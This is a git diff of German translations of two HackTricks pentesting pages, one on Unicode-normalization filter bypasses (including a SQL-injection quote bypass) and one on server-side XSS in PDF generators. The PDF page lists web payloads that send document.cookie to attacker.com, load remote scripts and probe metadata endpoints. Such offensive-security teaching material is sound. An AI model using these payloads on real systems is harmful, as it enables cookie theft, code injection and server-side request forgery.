 - **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit mindestens 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen).

-Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu handhaben und zu mindern.
+Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu bewältigen und zu mindern.

 Ein Beispiel dafür, wie Unicode zwei verschiedene Bytes normalisiert, die dasselbe Zeichen darstellen:
 ```python
 unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
 ```
-**Eine Liste von Unicode-Äquivalentzeichen finden Sie hier:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) und [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)
+**Eine Liste der Unicode-Äquivalente Zeichen finden Sie hier:** [https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html) und [https://0xacb.com/normalization_table](https://0xacb.com/normalization_table)

 ### Entdeckung

-Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **zu "K" normalisiert** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt.
+Wenn Sie in einer Webanwendung einen Wert finden, der zurückgegeben wird, könnten Sie versuchen, **‘KELVIN SIGN’ (U+0212A)** zu senden, das **normalisiert zu "K"** (Sie können es als `%e2%84%aa` senden). **Wenn ein "K" zurückgegeben wird**, dann wird eine Art von **Unicode-Normalisierung** durchgeführt.

 Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` nach **Unicode** ist `Leonishan`.

 ## **Anfällige Beispiele**

-### **SQL-Injection-Filter umgehen**
+### **SQL Injection Filterumgehung**

-Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.
+Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage, **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.

-Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQL-Injection-Schwachstelle** tritt auf:
+Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQLInjection-Sicherheitsanfälligkeit** tritt auf:

 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)

@ -91,14 +91,24 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als:

 ### Fuzzing Regexes

-Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete URL **normalisieren**, aber dann **sie so verwenden**, wie sie ist.
+Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte in einem Open Redirect oder SSRF der Regex die gesendete URL **normalisieren**, aber dann **so verwenden, wie sie ist**.

 Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).

+## Unicode Overflow
+
+Aus diesem [Blog](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows) ist der maximale Wert eines Bytes 255. Wenn der Server anfällig ist, kann ein Overflow erstellt werden, um ein bestimmtes und unerwartetes ASCII-Zeichen zu erzeugen. Zum Beispiel werden die folgenden Zeichen in `A` umgewandelt:
+
+- 0x4e41
+- 0x4f41
+- 0x5041
+- 0x5141
+
 ## Referenzen

 - [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
 - [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
 - [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
+- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
+++ b/src/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md
@ -1,28 +1,28 @@
-# Server Side XSS (Dynamisches PDF)
+# Server Side XSS (Dynamic PDF)

 {{#include ../../banners/hacktricks-training.md}}

-## Server Side XSS (Dynamisches PDF)
+## Server Side XSS (Dynamic PDF)

-Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, kannst du versuchen, den **Bot**, der das PDF erstellt, dazu zu **bringen, beliebigen JS-Code auszuführen**.\
-Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und du kannst dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen.
+Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
+Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er diese **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um eine **Server XSS** zu verursachen.

-Bitte beachte, dass die `<script></script>`-Tags nicht immer funktionieren, daher benötigst du eine andere Methode, um JS auszuführen (zum Beispiel durch Ausnutzen von `<img` ).\
-Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, das erstellte PDF zu **sehen/herunterzuladen**, sodass du alles sehen kannst, was du **über JS schreibst** (zum Beispiel mit `document.write()`). Aber wenn du das erstellte PDF **nicht sehen kannst**, musst du wahrscheinlich **die Informationen extrahieren, indem du Webanfragen an dich sendest** (Blind).
+Bitte beachten Sie, dass die `<script></script>`-Tags nicht immer funktionieren, sodass Sie eine andere Methode benötigen, um JS auszuführen (zum Beispiel durch Ausnutzen von `<img` ).\
+Beachten Sie auch, dass Sie bei einer regulären Ausnutzung in der Lage sein werden, das erstellte PDF zu **sehen/herunterzuladen**, sodass Sie alles sehen können, was Sie **über JS** schreiben (zum Beispiel mit `document.write()`). Aber wenn Sie das erstellte PDF **nicht sehen können**, müssen Sie wahrscheinlich **die Informationen extrahieren, indem Sie Webanfragen an sich selbst stellen** (Blind).

 ### Beliebte PDF-Generierung

- **wkhtmltopdf** ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente zu konvertieren, wobei die WebKit-Rendering-Engine verwendet wird. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und macht es für eine Vielzahl von Anwendungen zugänglich.
+- **wkhtmltopdf** ist bekannt für seine Fähigkeit, HTML und CSS in PDF-Dokumente zu konvertieren, wobei die WebKit-Rendering-Engine verwendet wird. Dieses Tool ist als Open-Source-Befehlszeilenprogramm verfügbar und somit für eine Vielzahl von Anwendungen zugänglich.
 - **TCPDF** bietet eine robuste Lösung innerhalb des PHP-Ökosystems für die PDF-Generierung. Es kann Bilder, Grafiken und Verschlüsselung verarbeiten und zeigt seine Vielseitigkeit bei der Erstellung komplexer Dokumente.
 - Für diejenigen, die in einer Node.js-Umgebung arbeiten, bietet **PDFKit** eine praktikable Option. Es ermöglicht die Erstellung von PDF-Dokumenten direkt aus HTML und CSS und bietet eine Brücke zwischen Webinhalten und druckbaren Formaten.
- Java-Entwickler könnten **iText** bevorzugen, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsspektrum macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.
- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen zu benötigen.
+- Java-Entwickler bevorzugen möglicherweise **iText**, eine Bibliothek, die nicht nur die PDF-Erstellung erleichtert, sondern auch erweiterte Funktionen wie digitale Signaturen und Formularfüllung unterstützt. Ihr umfassendes Funktionsset macht sie geeignet für die Erstellung sicherer und interaktiver Dokumente.
+- **FPDF** ist eine weitere PHP-Bibliothek, die sich durch ihre Einfachheit und Benutzerfreundlichkeit auszeichnet. Sie ist für Entwickler konzipiert, die einen unkomplizierten Ansatz zur PDF-Generierung suchen, ohne umfangreiche Funktionen.

 ## Payloads

 ### Discovery
 ```html
-<!-- Basic discovery, Write somthing-->
+<!-- Basic discovery, Write something-->
 <img src="x" onerror="document.write('test')" />
 <script>document.write(JSON.stringify(window.location))</script>
 <script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,10 +32,26 @@ Beachte auch, dass du bei einer regulären Ausnutzung in der Lage sein wirst, da
 <img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
 <script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
 <link rel=attachment href="http://attacker.com">
+
+<!-- Using base HTML tag -->
+<base href="http://attacker.com" />
+
+<!-- Loading external stylesheet -->
+<link rel="stylesheet" src="http://attacker.com" />
+
+<!-- Meta-tag to auto-refresh page -->
+<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
+
+<!-- Loading external components -->
+<input type="image" src="http://attacker.com" />
+<video src="http://attacker.com" />
+<audio src="http://attacker.com" />
+<audio><source src="http://attacker.com"/></audio>
+<svg src="http://attacker.com" />
 ```
 ### SVG

-Jeder der vorherigen oder folgenden Payloads kann innerhalb dieses SVG-Payloads verwendet werden. Ein iframe, der auf die Burpcollab-Subdomain zugreift, und ein weiterer, der auf den Metadaten-Endpunkt zugreift, sind als Beispiele angegeben.
+Jede der vorherigen oder folgenden Payloads kann innerhalb dieses SVG-Payloads verwendet werden. Ein iframe, der auf die Burpcollab-Subdomain zugreift, und ein anderer, der auf den Metadaten-Endpunkt zugreift, werden als Beispiele angegeben.
 ```html
 <svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 <g>
@ -69,9 +85,9 @@ if not, you will at least have wich path the bot is accessing -->
 <img src="x" onerror="document.write(window.location)" />
 <script> document.write(window.location) </script>
 ```
-### Lade ein externes Skript
+### Laden eines externen Skripts

-Die beste konforme Methode, um diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das du lokal kontrollierst. Dann wirst du in der Lage sein, die Payload lokal zu ändern und den Bot sie jedes Mal mit demselben Code laden zu lassen.
+Die beste konforme Möglichkeit, diese Schwachstelle auszunutzen, besteht darin, die Schwachstelle zu missbrauchen, um den Bot ein Skript laden zu lassen, das Sie lokal kontrollieren. Dann können Sie die Nutzlast lokal ändern und den Bot dazu bringen, sie jedes Mal mit demselben Code zu laden.
 ```html
 <script src="http://attacker.com/myscripts.js"></script>
 <img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
@ -169,5 +185,6 @@ icon="Paperclip" />
 - [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
 - [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
 - [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
+- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)

 {{#include ../../banners/hacktricks-training.md}}